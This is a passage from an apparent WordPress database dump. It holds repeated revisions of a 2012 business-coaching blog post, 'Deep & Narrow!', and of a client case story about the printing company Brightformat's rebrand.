the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-15', '', '', '2012-08-12 07:09:16', '2012-08-12 14:09:16', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-15/', 0, 'revision', '', 0);
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(2155, 2, '2012-08-12 07:09:51', '2012-08-12 14:09:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-16', '', '', '2012-08-12 07:09:51', '2012-08-12 14:09:51', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-16/', 0, 'revision', '', 0),
(2156, 2, '2012-08-12 07:24:57', '2012-08-12 14:24:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-17', '', '', '2012-08-12 07:24:57', '2012-08-12 14:24:57', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-17/', 0, 'revision', '', 0),
(2159, 2, '2012-08-27 08:01:30', '2012-08-27 15:01:30', '', 'bf-apparal', 0, '', 'inherit', 'open', 'open', '', 'bf-apparal', '', '', '2012-08-27 08:01:30', '2012-08-27 15:01:30', '', 2157, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/bf-apparal.jpg', 0, 'attachment', 'image/jpeg', 0),
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(2161, 2, '2012-08-27 08:03:32', '2012-08-27 15:03:32', '', 'bflogo', 0, '', 'inherit', 'open', 'open', '', 'bflogo', '', '', '2012-08-27 08:03:32', '2012-08-27 15:03:32', '', 2157, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/bflogo.jpg', 0, 'attachment', 'image/jpeg', 0),
(2162, 2, '2012-08-27 08:04:31', '2012-08-27 15:04:31', '', 'pete-and-mike', 0, '', 'inherit', 'open', 'open', '', 'pete-and-mike', '', '', '2012-08-27 08:04:31', '2012-08-27 15:04:31', '', 2157, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/pete-and-mike.jpg', 0, 'attachment', 'image/jpeg', 0),
(2163, 2, '2012-08-27 08:06:20', '2012-08-27 15:06:20', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\n<h1>After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</h1>\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of Brightformat in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\n\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong>The Challenge</strong>\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\n\n<strong>Doing What Matters</strong>\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\n\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\n\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\n\n<strong>An open mind eliminates a closed future.</strong>\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\n\nThis open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a>\n\n<strong>Creating a business name that fit a bigger future.</strong>\n\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\n\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\n\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\n\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\n\n“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”\n\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\n\nIf you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, send me an email.', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision', '', '', '2012-08-27 08:06:20', '2012-08-27 15:06:20', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision/', 0, 'revision', '', 0),
(2164, 2, '2012-08-27 08:06:38', '2012-08-27 15:06:38', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1>After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of Brightformat in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n\r\nThis open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a>\r\n\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email</a>.</strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-2', '', '', '2012-08-27 08:06:38', '2012-08-27 15:06:38', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-2/', 0, 'revision', '', 0),
(2165, 2, '2012-08-27 08:06:51', '2012-08-27 15:06:51', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1>After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of Brightformat in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative 